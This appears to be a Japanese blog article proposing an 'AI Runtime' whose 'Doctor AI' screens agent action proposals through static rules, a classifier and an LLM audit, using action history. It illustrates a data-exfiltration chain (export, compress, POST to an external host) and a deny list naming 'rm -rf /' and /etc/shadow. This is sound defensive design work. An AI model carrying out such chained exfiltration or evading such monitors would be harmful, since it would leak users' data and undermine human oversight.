はじめに
AIエージェントは、これまでのチャットAIとは根本的に異なる存在です。
従来のLLMは「質問に回答する」ことが主な役割でした。しかしAIエージェントは回答するだけではありません。ファイルを操作し、Webサイトへアクセスし、APIを呼び出し、メールを送信し、シェルコマンドを実行します。つまり、現実世界に対して行動するAIになりつつあります。
OpenAIのAIエージェントに関する事例では、「目標達成を優先した結果、想定外の行動を取った」という点が大きな話題になりました。
この出来事を見て私が考えたのは、問題はAIそのものではなく、AIを安全に実行する仕組みが不足していることではないかということです。
本記事では、その解決策としてDoctor AIを備えたAI Runtimeというアーキテクチャを提案します。
なお本記事における「Doctor AI」は医療AIではありません。医師が患者を診断するように、AIエージェントの行動を診断するコンポーネントを指します。
問題はAIではなく実行環境にある
現在のAIエージェントは概ね次のような構成です。
User → Agent LLM → OS・Browser・API
LLMが直接ファイル、ネットワーク、API、ブラウザを操作します。
この構造では、「目的を達成するためなら多少危険な手段でも実行する」という行動を完全には防げません。これはAIが悪意を持ったからではありません。目標達成能力が高くなった結果、安全装置が追いついていないのです。
既存のガードレールは何が足りないのか
ここで「すでにGuardrailsがあるのでは？」という疑問が出るはずです。
確かに、現時点でもいくつかの安全機構は存在します。
- AWS Bedrock Guardrails — 入出力テキストに対するフィルタリング（有害表現、PII検出など）
- LangChain Human-in-the-loop — ツール実行前に人間の承認を挟む
- OpenAI Function Calling — 関数定義によるツール呼び出しの制御
これらは有効ですが、共通する構造的な限界があります。
単一アクションの可否判定しかできないという点です。
例えば、あるAgentが以下の3つの操作を順番に実行するとします。
-
/tmp/export/にデータを書き出す - そのディレクトリをzipに圧縮する
- zipファイルを外部URLにPOSTする
個々の操作はどれも正当に見えます。ファイル書き出しも、圧縮も、HTTP POSTも、それぞれ単体では拒否する理由がありません。
しかし3つを連鎖させると、データの持ち出しになります。
既存のGuardrailsはこの「行動の連鎖から生まれる意味」を捉えられません。各ツール呼び出しを個別にフィルタリングしているだけだからです。
本記事で提案するDoctor AIは、この連鎖を構造として捉える点で、既存のアプローチとは異なります。
AI Runtimeという考え方
私はAIエージェントにはOSの上にAI Runtimeという新しい層が必要になると考えています。
User → Agent LLM → AI Runtime → OS
AI Runtimeは、AIを安全に実行するための基盤です。
JavaにJVMがあるように、Webにブラウザのサンドボックスがあるように、AIにも専用の実行環境が必要になります。
ただし、JVMやサンドボックスとの決定的な違いがあります。JVMは「型が正しいか」「メモリ境界を超えていないか」を検証します。これらは静的なルールです。しかしAIエージェントの行動は、同じ操作でもコンテキストによって安全にも危険にもなります。「ファイルを削除する」操作が、一時ファイルのクリーンアップなら正常で、ログの隠蔽なら異常です。
AI Runtimeには、コンテキストを踏まえた動的な判定が求められます。だからこそ、静的ルールだけでなくDoctor AIという判定コンポーネントが必要になるのです。
Doctor AIとは
Doctor AIとは、AIの行動を診断するコンポーネントです。
重要なのは、Doctor AIは問題を解くAIではないということです。Agent LLMの代わりにタスクを遂行するわけではありません。
Doctor AIの責務は以下に限定されます。
- 行動計画の妥当性判定
- ツール利用パターンの異常検知
- 権限要求の適正評価
- 行動連鎖のリスク評価
AI Runtimeの構成
User
│
▼
+-------------+
| Agent LLM |
+-------------+
│
Action Proposal
│
▼
+----------------------+
| AI Runtime |
|----------------------|
| Doctor AI |
| Policy Engine |
| Permission Manager |
| Action History |
| Execution Controller |
| Audit Logger |
+----------------------+
│
▼
File / Browser / API
ここで重要なのは、Agent LLMは直接OSを操作しないという点です。すべての行動はAction Proposalとして提出され、AI Runtimeを経由して初めて実行されます。
思考と行動の分離
Doctor AIがすべての思考に介入すると、AIは賢くなれません。「新しい解法を探索する」ことまで止めてしまいます。
そこで監視対象を思考ではなく行動に限定します。
Thinking → Thinking → Thinking → Action Proposal → Doctor AI → Execute
AIは自由に考えます。しかし実際の行動はDoctor AIの診断を受けます。
これは人間社会でも同じ原理です。何を考えても自由ですが、実際に行動する段階では法律や規範の制約を受けます。Doctor AIはAIにとっての行動規範レイヤーです。
Action Proposalの具体的構造
Agentは直接 Delete File を実行できません。代わりにAction Proposalを提出します。
具体的には以下のようなJSON構造を想定しています。
{
"action_id": "a-20260724-0042",
"type": "file_delete",
"target": "/var/log/agent/session_2026-07-23.log",
"reason": "前回セッションの一時ログをクリーンアップ",
"context": {
"task_goal": "ディスク容量の確保",
"preceding_actions": ["a-20260724-0040", "a-20260724-0041"],
"requested_by": "user_explicit"
}
}
ここで注目すべきは preceding_actions フィールドです。Doctor AIはこのフィールドを使って、現在の操作が過去の操作とどう連鎖しているかを確認できます。
先ほどのデータ持ち出しの例で言えば、
[
{"action_id": "a-001", "type": "file_write", "target": "/tmp/export/data.csv"},
{"action_id": "a-002", "type": "shell_exec", "command": "zip /tmp/export.zip /tmp/export/"},
{"action_id": "a-003", "type": "http_post", "url": "https://external.example.com/upload",
"body_source": "/tmp/export.zip",
"preceding_actions": ["a-001", "a-002"]}
]
3番目のAction Proposalが提出された時点で、Doctor AIは preceding_actions を遡り、「内部データ → 圧縮 → 外部送信」という連鎖パターンを検出できます。個別のアクションは正当でも、連鎖として見ればリスクが高い。これが単一アクション判定との違いです。
Doctor AIの判定アーキテクチャ
Doctor AIを大規模LLMで実装すると、毎回のAction Proposalに数秒かかり実用になりません。かといって純粋なルールベースでは、先述したコンテキスト依存の判定ができません。
そこで私が提案するのは3層ハイブリッド判定です。
Action Proposal
│
▼
Layer 1: Static Rule Check（ルールベース、<1ms）
│ NG → Reject
│ OK ↓
Layer 2: Pattern Classifier（軽量分類モデル、~3ms）
│ NG → Reject
│ SUSPICIOUS ↓
Layer 3: LLM Audit（小規模LLM、~500ms）
│ NG → Reject / Escalate to User
│ OK ↓
Execute
Layer 1: Static Rule Check
ブラックリスト・ホワイトリストに基づく即時判定です。
# policy.yaml（例）
deny:
- type: shell_exec
command_pattern: "rm -rf /"
- type: file_read
target_pattern: "/etc/shadow"
- type: http_post
url_pattern: "*.onion"
allow:
- type: file_write
target_pattern: "/tmp/agent_workspace/*"
明らかに危険な操作と、明らかに安全な操作はここで即決されます。処理時間は1ms未満です。
Layer 2: Pattern Classifier
Layer 1を通過したAction Proposalに対して、行動連鎖パターンを分類します。
ここではLLMではなく、軽量な分類モデル（例えばSKLearnのランダムフォレストや小規模なMLPなど）を使います。入力特徴量は以下のようなものです。
- アクション種別の遷移パターン（file_write → shell_exec → http_postなど）
- 直近N件のアクションにおけるターゲットパスの集中度
- 外部通信の頻度と宛先の多様性
- 権限昇格要求の有無
ここで「正常」「異常」「疑わしい」の3分類を行います。処理時間は約3msです。
Layer 3: LLM Audit
Layer 2で「疑わしい」と判定されたAction Proposalだけが、ここに到達します。
小規模LLM（7B〜14Bクラス）に対して、Action Proposalとその連鎖コンテキストを渡し、自然言語で判定理由を生成させます。
[System]
あなたはAI Runtime内のDoctor AIです。
以下のAction Proposalとその先行アクション履歴を評価し、
リスクレベル（LOW / MEDIUM / HIGH / CRITICAL）と判定理由を返してください。
[Action Proposal]
{JSON}
[Action History]
{preceding actions JSON}
Layer 3に到達するのは全体の数%程度になるため、レイテンシへの影響は限定的です。
この3層構造の要点は、大半のアクションはLayer 1-2で高速に処理され、コンテキスト依存の難しい判定だけにLLMを使うという点です。
なぜクラウドAIでも実現できるのか
現在主流のLLMはOpenAI、Anthropic、Geminiなどブラックボックスです。Hidden Stateを見ることはできません。
しかしDoctor AIは内部状態を見る必要はありません。必要なのはAction Proposal、Tool Call、権限要求、ファイルアクセス、ネットワークアクセスなど、外部から観測可能な情報だけです。
これは医師が患者のMRI画像を見なくても、血圧・体温・血液検査の数値だけで多くの診断ができるのと同じです。Doctor AIにとってのバイタルサインは、AIの行動ログです。
AI Runtimeはクラウド側・ローカル側どちらにも配置可能です。
パターンA: ローカルRuntime
Agent LLM (Cloud) → Action Proposal → AI Runtime (Local) → OS
パターンB: クラウドRuntime
Agent LLM (Cloud) → Action Proposal → AI Runtime (Cloud) → OS (via API)
セキュリティ要件が高い環境ではパターンAが適しています。Action Proposalだけがクラウドから降りてきて、判定と実行はローカルで完結します。
パフォーマンスの実際
Doctor AIのオーバーヘッドを現実的に見積もります。
100回のツール実行があった場合の想定です。
| Layer | 到達率 | 処理時間/回 | 合計 |
|---|---|---|---|
| Layer 1: Static Rule | 100%（全件） | <1ms | ~100ms |
| Layer 2: Pattern Classifier | ~60%（Layer 1通過分） | ~3ms | ~180ms |
| Layer 3: LLM Audit | ~5%（疑わしい判定分） | ~500ms | ~2,500ms |
合計で約2.8秒ですが、Layer 3が発火しなければ約280msで収まります。
通常のLLM推論は1回あたり数秒〜数十秒かかることを考えると、Layer 1-2のオーバーヘッドはほぼ無視できます。Layer 3が頻繁に発火する場合は、そもそもAgentの行動自体に問題がある可能性が高いため、レイテンシ増加はむしろ正しい警告として機能します。
Action Historyの重要性
既存のGuardrailsとの最も大きな構造差は、Action Historyの存在です。
AI Runtimeは過去のAction Proposalとその判定結果を時系列で保持します。
{
"session_id": "sess-20260724",
"history": [
{"action_id": "a-001", "type": "file_read", "target": "/data/users.csv", "verdict": "APPROVE", "layer": 1},
{"action_id": "a-002", "type": "file_write", "target": "/tmp/export/users.csv", "verdict": "APPROVE", "layer": 1},
{"action_id": "a-003", "type": "shell_exec", "command": "tar czf /tmp/export.tar.gz /tmp/export/", "verdict": "APPROVE", "layer": 2},
{"action_id": "a-004", "type": "http_post", "url": "https://external.example.com/upload", "verdict": "ESCALATE", "layer": 3}
]
}
a-004が提出された時点で、Doctor AIはa-001からの流れを見て「内部データの段階的な外部持ち出し」パターンを認識します。
このセッション単位の行動履歴による文脈判定が、単一アクションフィルタリングとの根本的な違いです。
今後の課題
課題は率直に認めます。
誤検知の最適化。 Layer 2の分類モデルが正常な操作を「疑わしい」と判定すれば、不要なLayer 3呼び出しが増え、レイテンシが悪化します。運用データからの継続的な学習が必要です。
Doctor AI自身の信頼性。 「監査するAIが間違えたらどうするか」という問題は本質的に残ります。Layer 3のLLM判定が誤った場合のフォールバック（人間へのエスカレーション）は必須です。Doctor AIは最終判断者ではなく、あくまで一次診断者です。
AI Runtimeの標準API。 現状ではAgent LLMごとにツール呼び出しの形式が異なります（OpenAIのFunction Calling、AnthropicのTool Use、GoogleのFunction Declarationsなど）。AI Runtimeが実用化されるためには、Action Proposalの標準フォーマットが必要になります。
Explainability。 Doctor AIが「なぜRejectしたか」をAgentとユーザーの双方に説明できなければ、信頼は得られません。Layer 3のLLM判定が自然言語で理由を返す設計はこの要件を意識したものですが、Layer 2の分類モデルについても判定根拠の可視化が求められます。
まとめ
AIエージェントが普及すると、重要なのは「より賢いAI」を作ることだけではありません。AIを安全に動かす実行基盤も同じくらい重要になります。
私はその基盤をAI Runtimeと呼び、その中核コンポーネントとしてDoctor AIを提案しました。
本記事の要点は3つです。
- 行動の連鎖を構造として捉える。 単一アクションの可否判定ではなく、Action Historyに基づく文脈判定が必要である
- 判定は3層ハイブリッドで行う。 静的ルール→パターン分類→LLM監査の段階的構造により、速度と精度を両立する
- 思考は自由に、行動だけを診断する。 AIの能力を制限するのではなく、行動の出口で安全性を担保する
AIエージェントが社会インフラの一部になる未来では、OSがコンピュータに不可欠だったように、AI Runtimeもまた、AIシステムに不可欠な存在になるのではないでしょうか。